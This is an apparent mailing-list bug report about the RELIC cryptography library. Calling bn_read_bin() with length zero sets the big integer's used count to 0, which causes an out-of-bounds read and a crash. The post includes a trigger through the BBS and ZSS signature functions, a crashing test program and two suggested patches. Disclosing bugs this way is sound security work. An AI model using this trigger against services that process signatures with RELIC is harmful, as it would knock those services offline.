found a bug in RELIC's bn_read_bin() while messing around with some crypto code. figured i'd document it since it's actually pretty easy to crash things with this.
the issue is in src/bn/relic_bn_util.c. bn_read_bin() takes a buffer and length, but if you pass len=0 it messes up the internal state.
code looks like this:
```c
void bn_read_bin(bn_t a, const uint8_t *bin, size_t len) {
int digs = (len % d == 0 ? len / d : len / d + 1);
bn_grow(a, digs);
bn_zero(a); // this sets used = 1 correctly
a->used = digs; // but then this overwrites with 0 if len was 0!
// ...
}
```
so bn_zero() does the right thing and sets used=1, then the assignment just stomps it with 0. now you have a big int with used=0 which breaks assumptions all over the place.
other functions access a->dp[a->used - 1] thinking used is at least 1. when it's 0, you get a->dp[-1] which is reading before the buffer. oob read.
bn_size_bin() is one that crashes:
```c
size_t bn_size_bin(const bn_t a) {
digits = (a->used - 1) * (RLC_DIG / 8); // underflows
d = a->dp[a->used - 1]; // reads dp[-1], segfault
```
you can trigger this through cp_bbs_sig() and similar functions. they have a hash flag - if you set hash=1 it calls bn_read_bin directly on your input without hashing first. so pass empty message with hash=1 and len=0, boom.
```c
cp_bbs_sig(s, msg, 0, 1, d); // len=0, hash=1, crash incoming
```
same with cp_bbs_ver, cp_zss_sig, cp_zss_ver. all have the same pattern.
can definitely crash a service if they're using RELIC and accepting signatures. it's just a DoS though, not rce. medium severity id say.
trivial to fix. either check len at the start:
```c
if (len == 0) {
bn_zero(a);
return;
}
```
or make sure used cant be zero:
```c
a->used = digs == 0 ? 1 : digs;
```
thats it really. simple bug but annoying if youre running a service that processes crypto stuff with this library.
test case to see it crash:
```c
#include "relic.h"
#include <stdio.h>
int main() {
core_init();
bn_t a;
bn_new(a);
bn_read_bin(a, (uint8_t*)"x", 0); // len 0
printf("used = %zu\n", a->used); // shows 0, bad
bn_size_bin(a); // segfault here
return 0;
}
```
compile and run, watch it die on bn_size_bin.
found this while bored and looking at crypto libs. not sponsored or anything. patch your stuff if you use RELIC. --
---
You received this message because you are subscribed to the Google Groups "relic-discuss" group.
To unsubscribe from this group and stop receiving emails from it, send an email to relic-discus...@googlegroups.com.
To view this discussion visit https://groups.google.com/d/msgid/relic-discuss/93e5c919-1350-4c60-a77d-d01197b99bd9n%40googlegroups.com.
To view this discussion visit https://groups.google.com/d/msgid/relic-discuss/CAK2GZbGFiFUkTtRLwZUqkSiFb9Nne6D0auCszMtZ2xhs55R7sA%40mail.gmail.com.